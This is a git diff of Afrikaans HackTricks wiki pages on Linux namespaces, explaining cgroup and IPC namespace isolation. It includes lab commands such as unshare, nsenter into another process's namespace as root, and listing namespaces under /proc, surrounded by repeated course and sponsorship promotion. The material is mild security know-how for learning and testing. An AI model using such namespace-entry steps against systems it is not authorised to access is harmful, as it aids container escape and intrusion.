* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,77 +1,93 @@
|
|||
# Namespaces
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
### **PID-namespace**
|
||||
### **PID namespace**
|
||||
|
||||
{% content-ref url="pid-namespace.md" %}
|
||||
[pid-namespace.md](pid-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Mount-namespace**
|
||||
### **Mount namespace**
|
||||
|
||||
{% content-ref url="mount-namespace.md" %}
|
||||
[mount-namespace.md](mount-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Netwerk-namespace**
|
||||
### **Network namespace**
|
||||
|
||||
{% content-ref url="network-namespace.md" %}
|
||||
[network-namespace.md](network-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **IPC-namespace**
|
||||
### **IPC Namespace**
|
||||
|
||||
{% content-ref url="ipc-namespace.md" %}
|
||||
[ipc-namespace.md](ipc-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **UTS-namespace**
|
||||
### **UTS namespace**
|
||||
|
||||
{% content-ref url="uts-namespace.md" %}
|
||||
[uts-namespace.md](uts-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Tyd-namespace
|
||||
### Time Namespace
|
||||
|
||||
{% content-ref url="time-namespace.md" %}
|
||||
[time-namespace.md](time-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Gebruikers-namespace
|
||||
### User namespace
|
||||
|
||||
{% content-ref url="user-namespace.md" %}
|
||||
[user-namespace.md](user-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### CGroup-namespace
|
||||
|
||||
{% content-ref url="cgroup-namespace.md" %}
|
||||
[cgroup-namespace.md](cgroup-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,66 +1,67 @@
|
|||
# CGroup-namespace
|
||||
# CGroup Namespace
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
## Basic Information
|
||||
|
||||
'n Cgroup-namespace is 'n Linux-kernelkenmerk wat **afsondering van cgroup-hierargieë vir prosesse wat binne 'n namespace loop, bied**. Cgroups, afkorting vir **beheergroepe**, is 'n kernelkenmerk wat dit moontlik maak om prosesse in hiërargiese groepe te organiseer om **grense op stelselhulpbronne** soos CPU, geheue en I/O te bestuur en af te dwing.
|
||||
'n cgroup namespace is 'n Linux-kernfunksie wat **isolasie van cgroup hiërargieë vir prosesse wat binne 'n namespace loop** bied. Cgroups, kort vir **kontrole groepe**, is 'n kernfunksie wat toelaat dat prosesse in hiërargiese groepe georganiseer word om **grense op stelselhulpbronne** soos CPU, geheue en I/O te bestuur en af te dwing.
|
||||
|
||||
Alhoewel cgroup-namespaces nie 'n aparte tipe namespace is soos die ander wat ons vroeër bespreek het (PID, berg, netwerk, ens.), is hulle verwant aan die konsep van namespace-afsondering. **Cgroup-namespaces virtualiseer die siening van die cgroup-hierargie**, sodat prosesse wat binne 'n cgroup-namespace loop, 'n ander siening van die hierargie het in vergelyking met prosesse wat in die gasheer of ander namespaces loop.
|
||||
Terwyl cgroup namespaces nie 'n aparte namespace tipe is soos die ander wat ons vroeër bespreek het nie (PID, mount, netwerk, ens.), is hulle verwant aan die konsep van namespace-isolasie. **Cgroup namespaces virtualiseer die uitsig van die cgroup hiërargie**, sodat prosesse wat binne 'n cgroup namespace loop 'n ander uitsig van die hiërargie het in vergelyking met prosesse wat in die gasheer of ander namespaces loop.
|
||||
|
||||
### Hoe dit werk:
|
||||
### How it works:
|
||||
|
||||
1. Wanneer 'n nuwe cgroup-namespace geskep word, **begin dit met 'n siening van die cgroup-hierargie gebaseer op die cgroup van die skeppende proses**. Dit beteken dat prosesse wat in die nuwe cgroup-namespace loop, slegs 'n subset van die volledige cgroup-hierargie sal sien, beperk tot die cgroup-subboom wat wortel by die skeppende proses se cgroup.
|
||||
2. Prosesse binne 'n cgroup-namespace sal **hul eie cgroup as die wortel van die hierargie sien**. Dit beteken dat, vanuit die perspektief van prosesse binne die namespace, hul eie cgroup as die wortel voorkom, en hulle kan nie cgroups buite hul eie subboom sien of toegang daartoe verkry nie.
|
||||
3. Cgroup-namespaces bied nie direkte afsondering van hulpbronne nie; **hulle bied slegs afsondering van die siening van die cgroup-hierargie**. **Hulpbronbeheer en afsondering word steeds afgedwing deur die cgroup-subsisteme (bv. cpu, geheue, ens.) self.
|
||||
1. Wanneer 'n nuwe cgroup namespace geskep word, **begin dit met 'n uitsig van die cgroup hiërargie gebaseer op die cgroup van die skepende proses**. Dit beteken dat prosesse wat in die nuwe cgroup namespace loop slegs 'n subset van die hele cgroup hiërargie sal sien, beperk tot die cgroup subboom wat op die skepende proses se cgroup gegrond is.
|
||||
2. Prosesse binne 'n cgroup namespace sal **hulle eie cgroup as die wortel van die hiërargie sien**. Dit beteken dat, vanuit die perspektief van prosesse binne die namespace, hulle eie cgroup as die wortel verskyn, en hulle kan nie cgroups buite hulle eie subboom sien of toegang daartoe kry nie.
|
||||
3. Cgroup namespaces bied nie direk isolasie van hulpbronne nie; **hulle bied slegs isolasie van die cgroup hiërargie uitsig**. **Hulpbronbeheer en isolasie word steeds afgedwing deur die cgroup** subsisteme (bv., cpu, geheue, ens.) self.
|
||||
|
||||
Vir meer inligting oor CGroups, kyk na:
|
||||
For more information about CGroups check:
|
||||
|
||||
{% content-ref url="../cgroups.md" %}
|
||||
[cgroups.md](../cgroups.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Laboratorium:
|
||||
## Lab:
|
||||
|
||||
### Skep verskillende Namespaces
|
||||
### Create different Namespaces
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -C [--mount-proc] /bin/bash
|
||||
```
|
||||
Deur 'n nuwe instansie van die `/proc`-lêersisteem te monteer as jy die parameter `--mount-proc` gebruik, verseker jy dat die nuwe berg-namespace 'n **akkurate en geïsoleerde siening van die prosesinligting spesifiek vir daardie namespace** het.
|
||||
Deur 'n nuwe instansie van die `/proc` lêerstelsel te monteer as jy die parameter `--mount-proc` gebruik, verseker jy dat die nuwe monteernaamruimte 'n **akkurate en geïsoleerde siening van die prosesinligting spesifiek vir daardie naamruimte** het.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Fout: bash: fork: Kan nie geheue toewys nie</summary>
|
||||
|
||||
Wanneer `unshare` uitgevoer word sonder die `-f`-opsie, word 'n fout aangetref as gevolg van die manier waarop Linux nuwe PID (Proses-ID) namespaces hanteer. Die sleutelbesonderhede en die oplossing word hieronder uiteengesit:
|
||||
Wanneer `unshare` sonder die `-f` opsie uitgevoer word, word 'n fout ondervind weens die manier waarop Linux nuwe PID (Proses ID) naamruimtes hanteer. Die sleutelbesonderhede en die oplossing word hieronder uiteengesit:
|
||||
|
||||
1. **Probleemverduideliking**:
|
||||
- Die Linux-kernel maak dit moontlik vir 'n proses om nuwe namespaces te skep deur die `unshare`-sisteemaanroep te gebruik. Die proses wat die skepping van 'n nuwe PID-namespace inisieer (bekend as die "unshare"-proses) betree egter nie die nuwe namespace nie; slegs sy kinderprosesse doen dit.
|
||||
- Die uitvoering van `%unshare -p /bin/bash%` begin `/bin/bash` in dieselfde proses as `unshare`. Gevolglik is `/bin/bash` en sy kinderprosesse in die oorspronklike PID-namespace.
|
||||
- Die eerste kinderproses van `/bin/bash` in die nuwe namespace word PID 1. Wanneer hierdie proses afsluit, veroorsaak dit die skoonmaak van die namespace as daar geen ander prosesse is nie, aangesien PID 1 die spesiale rol het om weeskindprosesse aan te neem. Die Linux-kernel sal dan PID-toekenning in daardie namespace deaktiveer.
|
||||
1. **Probleemverklaring**:
|
||||
- Die Linux-kern laat 'n proses toe om nuwe naamruimtes te skep met die `unshare` stelselaanroep. Die proses wat die skepping van 'n nuwe PID naamruimte inisieer (genoem die "unshare" proses) gaan egter nie in die nuwe naamruimte in nie; slegs sy kindproses gaan.
|
||||
- Om `%unshare -p /bin/bash%` uit te voer, begin `/bin/bash` in dieselfde proses as `unshare`. Gevolglik is `/bin/bash` en sy kindproses in die oorspronklike PID naamruimte.
|
||||
- Die eerste kindproses van `/bin/bash` in die nuwe naamruimte word PID 1. Wanneer hierdie proses verlaat, veroorsaak dit die opruiming van die naamruimte as daar geen ander prosesse is nie, aangesien PID 1 die spesiale rol het om weeskindprosesse aan te neem. Die Linux-kern sal dan PID-toewysing in daardie naamruimte deaktiveer.
|
||||
|
||||
2. **Gevolg**:
|
||||
- Die afsluiting van PID 1 in 'n nuwe namespace lei tot die skoonmaak van die `PIDNS_HASH_ADDING`-vlag. Dit veroorsaak dat die `alloc_pid`-funksie nie 'n nuwe PID kan toeken by die skep van 'n nuwe proses nie, wat die "Kan nie geheue toewys nie" -fout veroorsaak.
|
||||
- Die uitgang van PID 1 in 'n nuwe naamruimte lei tot die opruiming van die `PIDNS_HASH_ADDING` vlag. Dit lei tot die `alloc_pid` funksie wat misluk om 'n nuwe PID toe te wys wanneer 'n nuwe proses geskep word, wat die "Kan nie geheue toewys nie" fout veroorsaak.
|
||||
|
||||
3. **Oplossing**:
|
||||
- Die probleem kan opgelos word deur die `-f`-opsie saam met `unshare` te gebruik. Hierdie opsie maak `unshare` 'n nuwe proses na die skepping van die nuwe PID-namespace.
|
||||
- Deur `%unshare -fp /bin/bash%` uit te voer, verseker jy dat die `unshare`-opdrag self PID 1 in die nuwe namespace word. `/bin/bash` en sy kinderprosesse word dan veilig binne hierdie nuwe namespace gehou, wat die voortydige afsluiting van PID 1 voorkom en normale PID-toekenning moontlik maak.
|
||||
- Die probleem kan opgelos word deur die `-f` opsie saam met `unshare` te gebruik. Hierdie opsie maak dat `unshare` 'n nuwe proses fork nadat die nuwe PID naamruimte geskep is.
|
||||
- Om `%unshare -fp /bin/bash%` uit te voer, verseker dat die `unshare` opdrag self PID 1 in die nuwe naamruimte word. `/bin/bash` en sy kindproses is dan veilig binne hierdie nuwe naamruimte, wat die voortydige uitgang van PID 1 voorkom en normale PID-toewysing toelaat.
|
||||
|
||||
Deur te verseker dat `unshare` met die `-f`-vlag uitgevoer word, word die nuwe PID-namespace korrek onderhou, sodat `/bin/bash` en sy subprosesse kan werk sonder om die geheue-toewysingsfout te ondervind.
|
||||
Deur te verseker dat `unshare` met die `-f` vlag loop, word die nuwe PID naamruimte korrek gehandhaaf, wat toelaat dat `/bin/bash` en sy sub-prosesse funksioneer sonder om die geheue toewysing fout te ondervind.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -68,38 +69,12 @@ Deur te verseker dat `unshare` met die `-f`-vlag uitgevoer word, word die nuwe P
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  Kyk watter namespace jou proses is
|
||||
|
||||
Om te bepaal in watter namespace jou proses is, kan jy die volgende opdrag gebruik:
|
||||
|
||||
```bash
|
||||
cat /proc/$$/cgroup
|
||||
```
|
||||
|
||||
Hierdie opdrag sal die inhoud van die `cgroup`-lêer vir jou huidige proses (`$$`) vertoon. Die `cgroup`-lêer bevat inligting oor die groepe waaraan jou proses behoort, insluitend die namespace-inligting.
|
||||
|
||||
As jy die uitset van hierdie opdrag sien, sal jy 'n pad sien wat die woord "namespace" bevat. Byvoorbeeld:
|
||||
|
||||
```
|
||||
11:memory:/user.slice/user-1000.slice/session-1.scope
|
||||
10:devices:/user.slice/user-1000.slice/session-1.scope
|
||||
9:pids:/user.slice/user-1000.slice/session-1.scope
|
||||
8:cpu,cpuacct:/user.slice/user-1000.slice/session-1.scope
|
||||
7:net_cls,net_prio:/user.slice/user-1000.slice/session-1.scope
|
||||
6:freezer:/user.slice/user-1000.slice/session-1.scope
|
||||
5:perf_event:/user.slice/user-1000.slice/session-1.scope
|
||||
4:blkio:/user.slice/user-1000.slice/session-1.scope
|
||||
3:rdma:/
|
||||
2:cpuset:/user.slice/user-1000.slice/session-1.scope
|
||||
1:name=systemd:/user.slice/user-1000.slice/session-1.scope
|
||||
```
|
||||
|
||||
In hierdie voorbeeld is die proses in die `session-1.scope`-namespace.
|
||||
###  Kontroleer in watter naamruimte jou proses is
|
||||
```bash
|
||||
ls -l /proc/self/ns/cgroup
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
|
||||
```
|
||||
### Vind alle CGroup-ruimtes
|
||||
### Vind alle CGroup-namespaces
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -109,41 +84,26 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### Betree 'n CGroup-namespace
|
||||
|
||||
Om toegang te verkry tot 'n CGroup-namespace, kan jy die volgende stappe volg:
|
||||
|
||||
1. Identifiseer die proses ID (PID) van die teikenproses waarin jy wil binnekom.
|
||||
2. Voer die volgende opdrag uit om die PID van die proses te bekom:
|
||||
```
|
||||
ps aux | grep <prosesnaam>
|
||||
```
|
||||
3. Identifiseer die CGroup-vlak waarin die proses bestaan. Jy kan dit doen deur die inhoud van die `/proc/<PID>/cgroup`-lêer te ondersoek.
|
||||
4. Voer die volgende opdrag uit om binne die CGroup-namespace van die proses in te gaan:
|
||||
```
|
||||
nsenter -t <PID> -m
|
||||
```
|
||||
Hiermee sal jy binne die CGroup-namespace van die proses ingaan en toegang verkry tot die verbandhoudende hulpbronne en beperkings.
|
||||
|
||||
Dit is belangrik om te onthou dat jy oor voldoende bevoorregting moet beskik om hierdie stappe uit te voer.
|
||||
### Gaan binne in 'n CGroup naamruimte
|
||||
```bash
|
||||
nsenter -C TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Verder kan jy slegs **toegang verkry tot 'n ander proses-namespace as jy root is**. En jy **kan nie** **toegang kry** tot 'n ander namespace **sonder 'n beskrywer** wat daarna verwys nie (soos `/proc/self/ns/cgroup`).
|
||||
Ook, jy kan slegs **in 'n ander prosesnaamruimte ingaan as jy root is**. En jy **kan nie** **in** 'n ander naamruimte **ingaan sonder 'n beskrywer** wat daarna verwys nie (soos `/proc/self/ns/cgroup`).
|
||||
|
||||
## Verwysings
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,30 @@
|
|||
# IPC-namespace
|
||||
# IPC Naamruimte
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
'n IPC (Inter-Process Communication)-naamruimte is 'n Linux-kernelkenmerk wat **afsondering** van System V IPC-voorwerpe bied, soos boodskaprye, gedeelde geheue-segmente en semafore. Hierdie afsondering verseker dat prosesse in **verskillende IPC-naamruimtes nie direk toegang tot of wysiging van mekaar se IPC-voorwerpe kan hê nie**, wat 'n addisionele laag van veiligheid en privaatheid tussen prosesgroepe bied.
|
||||
'n IPC (Inter-Process Communication) naamruimte is 'n Linux-kernfunksie wat **isolasie** van System V IPC-objekte bied, soos boodskapqueues, gedeelde geheue-segmente en semafore. Hierdie isolasie verseker dat prosesse in **verskillende IPC naamruimtes nie direk toegang kan verkry tot of mekaar se IPC-objekte kan verander nie**, wat 'n ekstra laag van sekuriteit en privaatheid tussen prosesgroepe bied.
|
||||
|
||||
### Hoe dit werk:
|
||||
|
||||
1. Wanneer 'n nuwe IPC-naamruimte geskep word, begin dit met 'n **volledig afgesonderde stel System V IPC-voorwerpe**. Dit beteken dat prosesse wat in die nuwe IPC-naamruimte loop, nie standaard toegang tot of inmenging met die IPC-voorwerpe in ander naamruimtes of die gasheerstelsel kan hê nie.
|
||||
2. IPC-voorwerpe wat binne 'n naamruimte geskep word, is slegs sigbaar en **toeganklik vir prosesse binne daardie naamruimte**. Elke IPC-voorwerp word geïdentifiseer deur 'n unieke sleutel binne sy naamruimte. Alhoewel die sleutel dieselfde kan wees in verskillende naamruimtes, is die voorwerpe self afgesonderd en kan nie oor naamruimtes heen toegang verkry nie.
|
||||
3. Prosesse kan tussen naamruimtes beweeg deur die `setns()`-sisteemaanroep te gebruik of nuwe naamruimtes te skep deur die `unshare()`- of `clone()`-sisteemaanroep met die `CLONE_NEWIPC`-vlag te gebruik. Wanneer 'n proses na 'n nuwe naamruimte beweeg of een skep, begin dit die IPC-voorwerpe wat met daardie naamruimte geassosieer word, gebruik.
|
||||
